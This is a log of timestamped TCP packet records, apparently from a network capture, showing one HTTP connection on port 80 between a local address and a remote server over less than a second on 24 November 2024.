Nov 24, 2024 19:11:26.842004061 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.842549086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.842606068 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.842668056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.842724085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.843328953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.843379021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.843453884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.843506098 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.844136953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.844182968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.844266891 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.844316959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.845215082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.845266104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.845320940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.845371008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.845784903 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.845834017 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.845859051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.845906973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.846491098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.846554041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.846635103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.846684933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.847275019 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.847340107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.847368956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.847417116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.848058939 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.848109007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.848193884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.848242044 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.848839045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.848889112 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.848961115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.849019051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.849765062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.849817038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.849884987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.849934101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.850655079 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.850703955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.850743055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.850791931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.851356030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.851382017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.851408005 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.851433992 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.852056026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.852108002 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.852133036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.852180958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.852876902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.852926016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.852931023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.852972984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.853615999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.853666067 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.853754044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.853805065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.854379892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.854429960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.854480982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.854528904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.855354071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.855401993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.855501890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.855551958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.856225014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.856275082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.856400013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.856448889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.939532995 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.939551115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.939611912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.939716101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.939954042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.940009117 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.940022945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.940073013 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.940684080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.940700054 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.940740108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.941281080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.941333055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.941365004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.941414118 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.942311049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.942362070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.942389011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.942440033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.943283081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.943300009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.943336010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.943350077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.943861961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.943913937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.943965912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.944015026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.944638014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.944686890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.944719076 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.944767952 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.945548058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.945593119 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.945600986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.945643902 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.946182013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.946233034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.946351051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.946402073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.946863890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.946912050 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.946937084 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.946984053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.947604895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.947654963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.947752953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.947802067 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.948350906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.948401928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.948460102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.948503971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.949187994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.949239969 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.949301958 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.949351072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.949929953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.949980021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.950032949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.950081110 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.950701952 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.950752020 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.950829983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.950881004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.951512098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.951561928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.951591969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.951634884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.952338934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.952388048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.952393055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.952441931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.953104019 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.953164101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.953208923 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.953257084 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.953934908 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.953986883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.953994989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.954041004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.989182949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.989269972 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.989289999 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.989339113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.989612103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.989671946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.989689112 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.989744902 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.990307093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.990360022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.990396976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.990444899 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.991172075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.991223097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.991245985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.991297007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.991981030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.992032051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.992050886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.992096901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.992713928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.992765903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.992779016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.992822886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.993489981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.993537903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.993602991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.993650913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.994268894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.994318962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.994400024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.994450092 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.995052099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.995105028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.995125055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.995177031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.995834112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.995855093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.995884895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.995903015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.996654034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.996711016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.996750116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.996798992 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.997406960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.997457027 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.997513056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.997562885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.998267889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.998296976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.998322964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.998337030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.999073029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.999126911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.065715075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.065808058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.065809965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.065876007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.065980911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.066054106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.066109896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.066189051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.066205978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.066272974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.066924095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.066972971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.067074060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.067126036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.067759991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.067810059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.067915916 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.067986012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.068491936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.068542004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.068595886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.068650007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.069312096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.069329977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.069360018 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.069377899 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.070094109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.070147038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.070213079 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.070261955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.070852041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.070894957 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.070940971 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.070990086 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.071819067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.071857929 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.071868896 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.071902037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.072607040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.072657108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.072679043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.072731018 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.073570967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.073584080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.073618889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.073654890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.074146986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.074198961 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.074368000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.074420929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.074843884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.074894905 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.074975967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.075025082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.075596094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.075644970 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.075709105 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.075756073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.076380014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.076428890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.076512098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.076561928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.077172995 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.077224016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.077399015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.077446938 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.078186989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.078238010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.078325987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.078381062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.078815937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.078865051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.079135895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.079184055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.080003023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.080050945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.080167055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.080214977 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.081152916 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.081202030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.081259012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.081306934 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.167227030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.167292118 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.167306900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.167362928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.167521954 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.167558908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.167619944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.167668104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.168323040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.168370008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.168409109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.168447971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.169168949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.169224977 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.169306040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.169353008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.169967890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.170017004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.170100927 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.170145035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.170706034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.170758963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.170799017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.170844078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.171536922 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.171588898 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.171611071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.171652079 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.172399044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.172446012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.172482014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.172575951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.173052073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.173100948 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.173145056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.173188925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.173837900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.173880100 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.173990965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.174032927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.174623966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.174681902 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.174724102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.174783945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.175434113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.175489902 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.175554991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.175601006 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.176212072 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.176266909 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.176326990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.176369905 CET	49705	80	192.168.2.8	185.215.113.206
